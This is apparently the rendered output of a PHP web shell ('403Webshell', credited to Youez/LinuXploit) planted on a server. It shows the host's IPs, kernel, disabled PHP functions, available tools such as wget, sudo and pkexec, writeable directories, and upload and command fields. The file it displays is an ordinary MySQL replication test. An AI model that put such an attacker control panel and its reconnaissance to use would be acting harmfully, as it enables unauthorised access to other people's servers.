403Webshell
Server IP : 172.67.216.182  /  Your IP : 172.68.164.90
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/src/mysql-test/suite/rpl/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/src/mysql-test/suite/rpl/t/rpl_checksum_undef.test
#
#BUG#1353750 : REPLICATION FROM MASTER WITH NEW CHECKSUM ALGORITHM  
#
# ==== Purpose ====
# 
# The test check for the condition when the master uses a checksum algorithm 
# which is unknown to the slave. In such a case the master will send the 
# events with the new checksum while the slave treats it as no checksum. 
# After the fix the slave will stop if it gets a new checksum from the master
# with the error message.
#
# ====Method====
#
# For testing out the above mentioned functionality we have injected a fault  
# in the slave's code and trigger it through debug library.
# In the case we get the error message we stop the slave with the 
# error code 1593 and then restart the slave.
# 

--source include/not_group_replication_plugin.inc
--source include/have_debug.inc
--source include/master-slave.inc
--source include/have_log_bin.inc

connection slave;
--echo [ON SLAVE]
call mtr.add_suppression('The slave I/O thread was stopped because a fatal error is encountered');
--source include/stop_slave.inc

--let $debug_save= `SELECT @@GLOBAL.debug`
SET GLOBAL debug='+d,undefined_algorithm_on_slave';

START SLAVE;
--let $slave_io_errno= 1593
--source include/wait_for_slave_io_error.inc

--source include/stop_slave.inc
--eval SET GLOBAL debug = '$debug_save'
--source include/start_slave.inc

--source include/rpl_end.inc

Youez - 2016 - github.com/yon3zu
LinuXploit